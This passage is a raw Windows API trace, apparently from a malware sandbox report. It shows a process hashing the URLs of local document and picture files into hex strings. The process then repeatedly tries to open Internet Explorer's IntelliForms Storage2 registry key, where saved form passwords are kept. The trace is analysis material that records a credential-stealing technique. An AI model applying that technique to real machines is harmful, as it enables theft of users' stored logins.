2 [0078.004] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652968 [0078.004] lstrcpyA (in: lpString1=0x652968, lpString2="043733698A44D277A0580D" | out: lpString1="043733698A44D277A0580D") returned="043733698A44D277A0580D" [0078.004] lstrcatA (in: lpString1="043733698A44D277A0580D", lpString2="A1" | out: lpString1="043733698A44D277A0580DA1") returned="043733698A44D277A0580DA1" [0078.004] LocalFree (hMem=0x65a5e8) returned 0x0 [0078.004] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="47") returned 2 [0078.004] lstrlenA (lpString="043733698A44D277A0580DA1") returned 24 [0078.004] lstrlenA (lpString="47") returned 2 [0078.004] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652b60 [0078.004] lstrcpyA (in: lpString1=0x652b60, lpString2="043733698A44D277A0580DA1" | out: lpString1="043733698A44D277A0580DA1") returned="043733698A44D277A0580DA1" [0078.004] lstrcatA (in: lpString1="043733698A44D277A0580DA1", lpString2="47" | out: lpString1="043733698A44D277A0580DA147") returned="043733698A44D277A0580DA147" [0078.004] LocalFree (hMem=0x652968) returned 0x0 [0078.004] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A1") returned 2 [0078.004] lstrlenA (lpString="043733698A44D277A0580DA147") returned 26 [0078.004] lstrlenA (lpString="A1") returned 2 [0078.004] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652968 [0078.004] lstrcpyA (in: lpString1=0x652968, lpString2="043733698A44D277A0580DA147" | out: lpString1="043733698A44D277A0580DA147") returned="043733698A44D277A0580DA147" [0078.004] lstrcatA (in: lpString1="043733698A44D277A0580DA147", lpString2="A1" | out: lpString1="043733698A44D277A0580DA147A1") returned="043733698A44D277A0580DA147A1" [0078.004] LocalFree (hMem=0x652b60) returned 0x0 [0078.004] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="42") returned 2 [0078.004] lstrlenA (lpString="043733698A44D277A0580DA147A1") returned 28 [0078.004] lstrlenA (lpString="42") returned 2 [0078.004] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652b60 [0078.004] lstrcpyA (in: lpString1=0x652b60, lpString2="043733698A44D277A0580DA147A1" | out: lpString1="043733698A44D277A0580DA147A1") returned="043733698A44D277A0580DA147A1" [0078.004] lstrcatA (in: lpString1="043733698A44D277A0580DA147A1", lpString2="42" | out: lpString1="043733698A44D277A0580DA147A142") returned="043733698A44D277A0580DA147A142" [0078.004] LocalFree (hMem=0x652968) returned 0x0 [0078.004] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="8C") returned 2 [0078.004] lstrlenA (lpString="043733698A44D277A0580DA147A142") returned 30 [0078.004] lstrlenA (lpString="8C") returned 2 [0078.004] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6293a8 [0078.004] lstrcpyA (in: lpString1=0x6293a8, lpString2="043733698A44D277A0580DA147A142" | out: lpString1="043733698A44D277A0580DA147A142") returned="043733698A44D277A0580DA147A142" [0078.005] lstrcatA (in: lpString1="043733698A44D277A0580DA147A142", lpString2="8C" | out: lpString1="043733698A44D277A0580DA147A1428C") returned="043733698A44D277A0580DA147A1428C" [0078.005] LocalFree (hMem=0x652b60) returned 0x0 [0078.005] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B2") returned 2 [0078.005] lstrlenA (lpString="043733698A44D277A0580DA147A1428C") returned 32 [0078.005] lstrlenA (lpString="B2") returned 2 [0078.005] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0078.005] lstrcpyA (in: lpString1=0x6292f8, lpString2="043733698A44D277A0580DA147A1428C" | out: lpString1="043733698A44D277A0580DA147A1428C") returned="043733698A44D277A0580DA147A1428C" [0078.005] lstrcatA (in: lpString1="043733698A44D277A0580DA147A1428C", lpString2="B2" | out: lpString1="043733698A44D277A0580DA147A1428CB2") returned="043733698A44D277A0580DA147A1428CB2" [0078.005] LocalFree (hMem=0x6293a8) returned 0x0 [0078.005] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B7") returned 2 [0078.005] lstrlenA (lpString="043733698A44D277A0580DA147A1428CB2") returned 34 [0078.005] lstrlenA (lpString="B7") returned 2 [0078.005] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0078.005] lstrcpyA (in: lpString1=0x6293a8, lpString2="043733698A44D277A0580DA147A1428CB2" | out: lpString1="043733698A44D277A0580DA147A1428CB2") returned="043733698A44D277A0580DA147A1428CB2" [0078.005] lstrcatA (in: lpString1="043733698A44D277A0580DA147A1428CB2", lpString2="B7" | out: lpString1="043733698A44D277A0580DA147A1428CB2B7") returned="043733698A44D277A0580DA147A1428CB2B7" [0078.005] LocalFree (hMem=0x6292f8) returned 0x0 [0078.005] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="77") returned 2 [0078.005] lstrlenA (lpString="043733698A44D277A0580DA147A1428CB2B7") returned 36 [0078.005] lstrlenA (lpString="77") returned 2 [0078.005] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0078.005] lstrcpyA (in: lpString1=0x6292f8, lpString2="043733698A44D277A0580DA147A1428CB2B7" | out: lpString1="043733698A44D277A0580DA147A1428CB2B7") returned="043733698A44D277A0580DA147A1428CB2B7" [0078.005] lstrcatA (in: lpString1="043733698A44D277A0580DA147A1428CB2B7", lpString2="77" | out: lpString1="043733698A44D277A0580DA147A1428CB2B777") returned="043733698A44D277A0580DA147A1428CB2B777" [0078.005] LocalFree (hMem=0x6293a8) returned 0x0 [0078.005] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F0") returned 2 [0078.005] lstrlenA (lpString="043733698A44D277A0580DA147A1428CB2B777") returned 38 [0078.005] lstrlenA (lpString="F0") returned 2 [0078.005] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647a00 [0078.005] lstrcpyA (in: lpString1=0x647a00, lpString2="043733698A44D277A0580DA147A1428CB2B777" | out: lpString1="043733698A44D277A0580DA147A1428CB2B777") returned="043733698A44D277A0580DA147A1428CB2B777" [0078.005] lstrcatA (in: lpString1="043733698A44D277A0580DA147A1428CB2B777", lpString2="F0" | out: lpString1="043733698A44D277A0580DA147A1428CB2B777F0") returned="043733698A44D277A0580DA147A1428CB2B777F0" [0078.005] LocalFree (hMem=0x6292f8) returned 0x0 [0078.006] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="1A") returned 2 [0078.006] lstrlenA (lpString="043733698A44D277A0580DA147A1428CB2B777F0") returned 40 [0078.006] lstrlenA (lpString="1A") returned 2 [0078.006] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647890 [0078.006] lstrcpyA (in: lpString1=0x647890, lpString2="043733698A44D277A0580DA147A1428CB2B777F0" | out: lpString1="043733698A44D277A0580DA147A1428CB2B777F0") returned="043733698A44D277A0580DA147A1428CB2B777F0" [0078.006] lstrcatA (in: lpString1="043733698A44D277A0580DA147A1428CB2B777F0", lpString2="1A" | out: lpString1="043733698A44D277A0580DA147A1428CB2B777F01A") returned="043733698A44D277A0580DA147A1428CB2B777F01A" [0078.006] LocalFree (hMem=0x647a00) returned 0x0 [0078.006] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.006] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.006] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.006] LocalFree (hMem=0x647890) returned 0x0 [0078.006] CoTaskMemFree (pv=0x62d800) [0078.006] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/YxNxp9Ivy.jpg", lpSrch="?") returned 0x0 [0078.006] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/YxNxp9Ivy.jpg") returned 63 [0078.006] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="8F") returned 2 [0078.006] lstrlenA (lpString="") returned 0 [0078.006] lstrlenA (lpString="8F") returned 2 [0078.006] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x65a5e8 [0078.006] lstrcpyA (in: lpString1=0x65a5e8, lpString2="" | out: lpString1="") returned="" [0078.007] lstrcatA (in: lpString1="", lpString2="8F" | out: lpString1="8F") returned="8F" [0078.007] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="2B") returned 2 [0078.007] lstrlenA (lpString="8F") returned 2 [0078.007] lstrlenA (lpString="2B") returned 2 [0078.007] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x65a678 [0078.007] lstrcpyA (in: lpString1=0x65a678, lpString2="8F" | out: lpString1="8F") returned="8F" [0078.007] lstrcatA (in: lpString1="8F", lpString2="2B" | out: lpString1="8F2B") returned="8F2B" [0078.007] LocalFree (hMem=0x65a5e8) returned 0x0 [0078.007] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="4F") returned 2 [0078.007] lstrlenA (lpString="8F2B") returned 4 [0078.007] lstrlenA (lpString="4F") returned 2 [0078.007] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x65a5e8 [0078.007] lstrcpyA (in: lpString1=0x65a5e8, lpString2="8F2B" | out: lpString1="8F2B") returned="8F2B" [0078.007] lstrcatA (in: lpString1="8F2B", lpString2="4F" | out: lpString1="8F2B4F") returned="8F2B4F" [0078.007] LocalFree (hMem=0x65a678) returned 0x0 [0078.007] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="BF") returned 2 [0078.007] lstrlenA (lpString="8F2B4F") returned 6 [0078.007] lstrlenA (lpString="BF") returned 2 [0078.007] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x65a678 [0078.007] lstrcpyA (in: lpString1=0x65a678, lpString2="8F2B4F" | out: lpString1="8F2B4F") returned="8F2B4F" [0078.007] lstrcatA (in: lpString1="8F2B4F", lpString2="BF" | out: lpString1="8F2B4FBF") returned="8F2B4FBF" [0078.007] LocalFree (hMem=0x65a5e8) returned 0x0 [0078.007] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="60") returned 2 [0078.007] lstrlenA (lpString="8F2B4FBF") returned 8 [0078.007] lstrlenA (lpString="60") returned 2 [0078.007] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x65a710 [0078.007] lstrcpyA (in: lpString1=0x65a710, lpString2="8F2B4FBF" | out: lpString1="8F2B4FBF") returned="8F2B4FBF" [0078.008] lstrcatA (in: lpString1="8F2B4FBF", lpString2="60" | out: lpString1="8F2B4FBF60") returned="8F2B4FBF60" [0078.008] LocalFree (hMem=0x65a678) returned 0x0 [0078.008] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="29") returned 2 [0078.008] lstrlenA (lpString="8F2B4FBF60") returned 10 [0078.008] lstrlenA (lpString="29") returned 2 [0078.008] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x65a5e8 [0078.008] lstrcpyA (in: lpString1=0x65a5e8, lpString2="8F2B4FBF60" | out: lpString1="8F2B4FBF60") returned="8F2B4FBF60" [0078.008] lstrcatA (in: lpString1="8F2B4FBF60", lpString2="29" | out: lpString1="8F2B4FBF6029") returned="8F2B4FBF6029" [0078.008] LocalFree (hMem=0x65a710) returned 0x0 [0078.008] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E4") returned 2 [0078.008] lstrlenA (lpString="8F2B4FBF6029") returned 12 [0078.008] lstrlenA (lpString="E4") returned 2 [0078.008] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x65a680 [0078.008] lstrcpyA (in: lpString1=0x65a680, lpString2="8F2B4FBF6029" | out: lpString1="8F2B4FBF6029") returned="8F2B4FBF6029" [0078.008] lstrcatA (in: lpString1="8F2B4FBF6029", lpString2="E4" | out: lpString1="8F2B4FBF6029E4") returned="8F2B4FBF6029E4" [0078.008] LocalFree (hMem=0x65a5e8) returned 0x0 [0078.008] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="85") returned 2 [0078.008] lstrlenA (lpString="8F2B4FBF6029E4") returned 14 [0078.008] lstrlenA (lpString="85") returned 2 [0078.008] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65a718 [0078.008] lstrcpyA (in: lpString1=0x65a718, lpString2="8F2B4FBF6029E4" | out: lpString1="8F2B4FBF6029E4") returned="8F2B4FBF6029E4" [0078.008] lstrcatA (in: lpString1="8F2B4FBF6029E4", lpString2="85" | out: lpString1="8F2B4FBF6029E485") returned="8F2B4FBF6029E485" [0078.008] LocalFree (hMem=0x65a680) returned 0x0 [0078.008] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="4A") returned 2 [0078.008] lstrlenA (lpString="8F2B4FBF6029E485") returned 16 [0078.008] lstrlenA (lpString="4A") returned 2 [0078.008] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x65a5e8 [0078.008] lstrcpyA (in: lpString1=0x65a5e8, lpString2="8F2B4FBF6029E485" | out: lpString1="8F2B4FBF6029E485") returned="8F2B4FBF6029E485" [0078.008] lstrcatA (in: lpString1="8F2B4FBF6029E485", lpString2="4A" | out: lpString1="8F2B4FBF6029E4854A") returned="8F2B4FBF6029E4854A" [0078.009] LocalFree (hMem=0x65a718) returned 0x0 [0078.009] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="FD") returned 2 [0078.009] lstrlenA (lpString="8F2B4FBF6029E4854A") returned 18 [0078.009] lstrlenA (lpString="FD") returned 2 [0078.009] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65a688 [0078.009] lstrcpyA (in: lpString1=0x65a688, lpString2="8F2B4FBF6029E4854A" | out: lpString1="8F2B4FBF6029E4854A") returned="8F2B4FBF6029E4854A" [0078.009] lstrcatA (in: lpString1="8F2B4FBF6029E4854A", lpString2="FD" | out: lpString1="8F2B4FBF6029E4854AFD") returned="8F2B4FBF6029E4854AFD" [0078.009] LocalFree (hMem=0x65a5e8) returned 0x0 [0078.009] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="32") returned 2 [0078.009] lstrlenA (lpString="8F2B4FBF6029E4854AFD") returned 20 [0078.009] lstrlenA (lpString="32") returned 2 [0078.009] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x65a5e8 [0078.009] lstrcpyA (in: lpString1=0x65a5e8, lpString2="8F2B4FBF6029E4854AFD" | out: lpString1="8F2B4FBF6029E4854AFD") returned="8F2B4FBF6029E4854AFD" [0078.009] lstrcatA (in: lpString1="8F2B4FBF6029E4854AFD", lpString2="32" | out: lpString1="8F2B4FBF6029E4854AFD32") returned="8F2B4FBF6029E4854AFD32" [0078.009] LocalFree (hMem=0x65a688) returned 0x0 [0078.009] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CD") returned 2 [0078.009] lstrlenA (lpString="8F2B4FBF6029E4854AFD32") returned 22 [0078.009] lstrlenA (lpString="CD") returned 2 [0078.009] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652b60 [0078.009] lstrcpyA (in: lpString1=0x652b60, lpString2="8F2B4FBF6029E4854AFD32" | out: lpString1="8F2B4FBF6029E4854AFD32") returned="8F2B4FBF6029E4854AFD32" [0078.009] lstrcatA (in: lpString1="8F2B4FBF6029E4854AFD32", lpString2="CD" | out: lpString1="8F2B4FBF6029E4854AFD32CD") returned="8F2B4FBF6029E4854AFD32CD" [0078.009] LocalFree (hMem=0x65a5e8) returned 0x0 [0078.009] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="26") returned 2 [0078.009] lstrlenA (lpString="8F2B4FBF6029E4854AFD32CD") returned 24 [0078.009] lstrlenA (lpString="26") returned 2 [0078.009] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652968 [0078.009] lstrcpyA (in: lpString1=0x652968, lpString2="8F2B4FBF6029E4854AFD32CD" | out: lpString1="8F2B4FBF6029E4854AFD32CD") returned="8F2B4FBF6029E4854AFD32CD" [0078.009] lstrcatA (in: lpString1="8F2B4FBF6029E4854AFD32CD", lpString2="26" | out: lpString1="8F2B4FBF6029E4854AFD32CD26") returned="8F2B4FBF6029E4854AFD32CD26" [0078.010] LocalFree (hMem=0x652b60) returned 0x0 [0078.010] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="6C") returned 2 [0078.010] lstrlenA (lpString="8F2B4FBF6029E4854AFD32CD26") returned 26 [0078.010] lstrlenA (lpString="6C") returned 2 [0078.010] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652b60 [0078.010] lstrcpyA (in: lpString1=0x652b60, lpString2="8F2B4FBF6029E4854AFD32CD26" | out: lpString1="8F2B4FBF6029E4854AFD32CD26") returned="8F2B4FBF6029E4854AFD32CD26" [0078.010] lstrcatA (in: lpString1="8F2B4FBF6029E4854AFD32CD26", lpString2="6C" | out: lpString1="8F2B4FBF6029E4854AFD32CD266C") returned="8F2B4FBF6029E4854AFD32CD266C" [0078.010] LocalFree (hMem=0x652968) returned 0x0 [0078.010] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="2A") returned 2 [0078.010] lstrlenA (lpString="8F2B4FBF6029E4854AFD32CD266C") returned 28 [0078.010] lstrlenA (lpString="2A") returned 2 [0078.010] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652968 [0078.010] lstrcpyA (in: lpString1=0x652968, lpString2="8F2B4FBF6029E4854AFD32CD266C" | out: lpString1="8F2B4FBF6029E4854AFD32CD266C") returned="8F2B4FBF6029E4854AFD32CD266C" [0078.010] lstrcatA (in: lpString1="8F2B4FBF6029E4854AFD32CD266C", lpString2="2A" | out: lpString1="8F2B4FBF6029E4854AFD32CD266C2A") returned="8F2B4FBF6029E4854AFD32CD266C2A" [0078.010] LocalFree (hMem=0x652b60) returned 0x0 [0078.010] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B3") returned 2 [0078.010] lstrlenA (lpString="8F2B4FBF6029E4854AFD32CD266C2A") returned 30 [0078.010] lstrlenA (lpString="B3") returned 2 [0078.010] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0078.010] lstrcpyA (in: lpString1=0x6292f8, lpString2="8F2B4FBF6029E4854AFD32CD266C2A" | out: lpString1="8F2B4FBF6029E4854AFD32CD266C2A") returned="8F2B4FBF6029E4854AFD32CD266C2A" [0078.010] lstrcatA (in: lpString1="8F2B4FBF6029E4854AFD32CD266C2A", lpString2="B3" | out: lpString1="8F2B4FBF6029E4854AFD32CD266C2AB3") returned="8F2B4FBF6029E4854AFD32CD266C2AB3" [0078.010] LocalFree (hMem=0x652968) returned 0x0 [0078.010] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="00") returned 2 [0078.010] lstrlenA (lpString="8F2B4FBF6029E4854AFD32CD266C2AB3") returned 32 [0078.010] lstrlenA (lpString="00") returned 2 [0078.010] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6293a8 [0078.010] lstrcpyA (in: lpString1=0x6293a8, lpString2="8F2B4FBF6029E4854AFD32CD266C2AB3" | out: lpString1="8F2B4FBF6029E4854AFD32CD266C2AB3") returned="8F2B4FBF6029E4854AFD32CD266C2AB3" [0078.010] lstrcatA (in: lpString1="8F2B4FBF6029E4854AFD32CD266C2AB3", lpString2="00" | out: lpString1="8F2B4FBF6029E4854AFD32CD266C2AB300") returned="8F2B4FBF6029E4854AFD32CD266C2AB300" [0078.010] LocalFree (hMem=0x6292f8) returned 0x0 [0078.010] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F9") returned 2 [0078.010] lstrlenA (lpString="8F2B4FBF6029E4854AFD32CD266C2AB300") returned 34 [0078.010] lstrlenA (lpString="F9") returned 2 [0078.010] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0078.011] lstrcpyA (in: lpString1=0x6292f8, lpString2="8F2B4FBF6029E4854AFD32CD266C2AB300" | out: lpString1="8F2B4FBF6029E4854AFD32CD266C2AB300") returned="8F2B4FBF6029E4854AFD32CD266C2AB300" [0078.011] lstrcatA (in: lpString1="8F2B4FBF6029E4854AFD32CD266C2AB300", lpString2="F9" | out: lpString1="8F2B4FBF6029E4854AFD32CD266C2AB300F9") returned="8F2B4FBF6029E4854AFD32CD266C2AB300F9" [0078.011] LocalFree (hMem=0x6293a8) returned 0x0 [0078.011] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="57") returned 2 [0078.011] lstrlenA (lpString="8F2B4FBF6029E4854AFD32CD266C2AB300F9") returned 36 [0078.011] lstrlenA (lpString="57") returned 2 [0078.011] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0078.011] lstrcpyA (in: lpString1=0x6293a8, lpString2="8F2B4FBF6029E4854AFD32CD266C2AB300F9" | out: lpString1="8F2B4FBF6029E4854AFD32CD266C2AB300F9") returned="8F2B4FBF6029E4854AFD32CD266C2AB300F9" [0078.011] lstrcatA (in: lpString1="8F2B4FBF6029E4854AFD32CD266C2AB300F9", lpString2="57" | out: lpString1="8F2B4FBF6029E4854AFD32CD266C2AB300F957") returned="8F2B4FBF6029E4854AFD32CD266C2AB300F957" [0078.011] LocalFree (hMem=0x6292f8) returned 0x0 [0078.011] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="FD") returned 2 [0078.011] lstrlenA (lpString="8F2B4FBF6029E4854AFD32CD266C2AB300F957") returned 38 [0078.011] lstrlenA (lpString="FD") returned 2 [0078.011] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647890 [0078.011] lstrcpyA (in: lpString1=0x647890, lpString2="8F2B4FBF6029E4854AFD32CD266C2AB300F957" | out: lpString1="8F2B4FBF6029E4854AFD32CD266C2AB300F957") returned="8F2B4FBF6029E4854AFD32CD266C2AB300F957" [0078.011] lstrcatA (in: lpString1="8F2B4FBF6029E4854AFD32CD266C2AB300F957", lpString2="FD" | out: lpString1="8F2B4FBF6029E4854AFD32CD266C2AB300F957FD") returned="8F2B4FBF6029E4854AFD32CD266C2AB300F957FD" [0078.011] LocalFree (hMem=0x6293a8) returned 0x0 [0078.011] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="BC") returned 2 [0078.011] lstrlenA (lpString="8F2B4FBF6029E4854AFD32CD266C2AB300F957FD") returned 40 [0078.011] lstrlenA (lpString="BC") returned 2 [0078.011] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647a00 [0078.011] lstrcpyA (in: lpString1=0x647a00, lpString2="8F2B4FBF6029E4854AFD32CD266C2AB300F957FD" | out: lpString1="8F2B4FBF6029E4854AFD32CD266C2AB300F957FD") returned="8F2B4FBF6029E4854AFD32CD266C2AB300F957FD" [0078.011] lstrcatA (in: lpString1="8F2B4FBF6029E4854AFD32CD266C2AB300F957FD", lpString2="BC" | out: lpString1="8F2B4FBF6029E4854AFD32CD266C2AB300F957FDBC") returned="8F2B4FBF6029E4854AFD32CD266C2AB300F957FDBC" [0078.011] LocalFree (hMem=0x647890) returned 0x0 [0078.011] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.011] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.011] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.011] LocalFree (hMem=0x647a00) returned 0x0 [0078.011] CoTaskMemFree (pv=0x656278) [0078.012] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/0zQV9JvoZG8MGks.pptx", lpSrch="?") returned 0x0 [0078.012] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/0zQV9JvoZG8MGks.pptx") returned 55 [0078.012] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="0F") returned 2 [0078.012] lstrlenA (lpString="") returned 0 [0078.012] lstrlenA (lpString="0F") returned 2 [0078.012] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x65a658 [0078.012] lstrcpyA (in: lpString1=0x65a658, lpString2="" | out: lpString1="") returned="" [0078.012] lstrcatA (in: lpString1="", lpString2="0F" | out: lpString1="0F") returned="0F" [0078.012] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D4") returned 2 [0078.012] lstrlenA (lpString="0F") returned 2 [0078.012] lstrlenA (lpString="D4") returned 2 [0078.012] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x65a768 [0078.012] lstrcpyA (in: lpString1=0x65a768, lpString2="0F" | out: lpString1="0F") returned="0F" [0078.012] lstrcatA (in: lpString1="0F", lpString2="D4" | out: lpString1="0FD4") returned="0FD4" [0078.012] LocalFree (hMem=0x65a658) returned 0x0 [0078.012] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="57") returned 2 [0078.012] lstrlenA (lpString="0FD4") returned 4 [0078.012] lstrlenA (lpString="57") returned 2 [0078.012] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x65a658 [0078.012] lstrcpyA (in: lpString1=0x65a658, lpString2="0FD4" | out: lpString1="0FD4") returned="0FD4" [0078.012] lstrcatA (in: lpString1="0FD4", lpString2="57" | out: lpString1="0FD457") returned="0FD457" [0078.012] LocalFree (hMem=0x65a768) returned 0x0 [0078.012] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="11") returned 2 [0078.012] lstrlenA (lpString="0FD457") returned 6 [0078.012] lstrlenA (lpString="11") returned 2 [0078.012] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x65a768 [0078.013] lstrcpyA (in: lpString1=0x65a768, lpString2="0FD457" | out: lpString1="0FD457") returned="0FD457" [0078.013] lstrcatA (in: lpString1="0FD457", lpString2="11" | out: lpString1="0FD45711") returned="0FD45711" [0078.013] LocalFree (hMem=0x65a658) returned 0x0 [0078.013] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B3") returned 2 [0078.013] lstrlenA (lpString="0FD45711") returned 8 [0078.013] lstrlenA (lpString="B3") returned 2 [0078.013] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x65a658 [0078.013] lstrcpyA (in: lpString1=0x65a658, lpString2="0FD45711" | out: lpString1="0FD45711") returned="0FD45711" [0078.013] lstrcatA (in: lpString1="0FD45711", lpString2="B3" | out: lpString1="0FD45711B3") returned="0FD45711B3" [0078.013] LocalFree (hMem=0x65a768) returned 0x0 [0078.013] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="27") returned 2 [0078.013] lstrlenA (lpString="0FD45711B3") returned 10 [0078.013] lstrlenA (lpString="27") returned 2 [0078.013] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x65a768 [0078.013] lstrcpyA (in: lpString1=0x65a768, lpString2="0FD45711B3" | out: lpString1="0FD45711B3") returned="0FD45711B3" [0078.013] lstrcatA (in: lpString1="0FD45711B3", lpString2="27" | out: lpString1="0FD45711B327") returned="0FD45711B327" [0078.013] LocalFree (hMem=0x65a658) returned 0x0 [0078.013] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="11") returned 2 [0078.013] lstrlenA (lpString="0FD45711B327") returned 12 [0078.013] lstrlenA (lpString="11") returned 2 [0078.013] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x65a658 [0078.013] lstrcpyA (in: lpString1=0x65a658, lpString2="0FD45711B327" | out: lpString1="0FD45711B327") returned="0FD45711B327" [0078.013] lstrcatA (in: lpString1="0FD45711B327", lpString2="11" | out: lpString1="0FD45711B32711") returned="0FD45711B32711" [0078.013] LocalFree (hMem=0x65a768) returned 0x0 [0078.013] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="17") returned 2 [0078.013] lstrlenA (lpString="0FD45711B32711") returned 14 [0078.013] lstrlenA (lpString="17") returned 2 [0078.013] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65a768 [0078.013] lstrcpyA (in: lpString1=0x65a768, lpString2="0FD45711B32711" | out: lpString1="0FD45711B32711") returned="0FD45711B32711" [0078.013] lstrcatA (in: lpString1="0FD45711B32711", lpString2="17" | out: lpString1="0FD45711B3271117") returned="0FD45711B3271117" [0078.013] LocalFree (hMem=0x65a658) returned 0x0 [0078.013] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="5C") returned 2 [0078.013] lstrlenA (lpString="0FD45711B3271117") returned 16 [0078.013] lstrlenA (lpString="5C") returned 2 [0078.013] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x65a658 [0078.013] lstrcpyA (in: lpString1=0x65a658, lpString2="0FD45711B3271117" | out: 